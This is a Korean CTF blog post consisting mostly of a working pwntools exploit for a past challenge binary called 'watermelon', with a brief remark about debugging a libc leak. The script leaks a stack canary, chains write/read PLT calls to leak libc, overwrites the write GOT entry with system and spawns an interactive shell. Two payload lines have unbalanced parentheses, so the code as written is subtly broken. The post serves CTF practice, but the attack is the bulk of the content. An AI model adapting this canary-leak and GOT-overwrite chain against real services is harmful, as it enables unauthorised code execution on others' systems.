멍청하게 트리거도 안해놓고 libc 릭이 안된다고 답답해 미쳐가고 있었다...

덮어쓴 버퍼 위치정도는 잘 확인하자 ㅠㅠ

(그건 그렇고 pwntools 진짜 편하네)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from hackutil import *
from pwn import *
 
#============================
HOST = 'localhost'
PORT = 31335
 
offset_write_system = 0xd9510 - 0x3fcd0
name_address = 0x0804D7A0
pppr = 0x8049acd
binary = ELF('/home/skyclad/bin/watermelon')
#============================
 
conn = remote(HOST, PORT)
 
print " =============== [ Phase 1 : Canary Leak ] =============== "
 
conn.recvuntil('name : ')
conn.sendline('/bin/sh')
 
conn.recvuntil('select\t|\t\n')
 
for i in range(100):
    conn.sendline('1')
    conn.recvuntil('music')
    conn.sendline('1')
    conn.recvuntil('artist')
    conn.sendline('1')
    conn.recvuntil('select')
 
conn.sendline('3')
conn.recvuntil('number')
conn.sendline('100')
conn.recvuntil('music')
conn.sendline('5kyc1ad')
conn.recvuntil('artist')
conn.sendline('A'*20)
conn.recvuntil('select')
conn.sendline('2')
conn.recvuntil('A'*20)
 
canary = up32("\x00"+conn.recv(4)[1:])[0]
print "[*] Find Canary : "+str(hex(canary))
 
print " =============== [ Phase 2 : Libc Leak ] =============== "
 
conn.recvuntil('select')
 
conn.sendline('3')
conn.sendline('100')
conn.sendline('5kyc1ad')
 
payload = 'A'*20 + p32(canary) + 'A'*(8+4)
payload += p32(binary.plt['write']) + p32(pppr) + p32(1+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['read']) + p32(pppr) + p32(0+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['write']) + 'AAAA' + p32(name_address)
 
conn.sendline(payload)
conn.recvuntil('select')
conn.sendline('4')
conn.recvuntil('BYE BYE\n\n')
 
write_lib = up32(conn.recv(4))[0]
print "[*] Find write_lib : " + str(hex(write_lib))
system_lib = write_lib - offset_write_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
print " =============== [ Phase 3 : Got Overwrite ] ================ "
conn.send(p32(system_lib))
print "[*] Get Shell"
conn.interactive()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,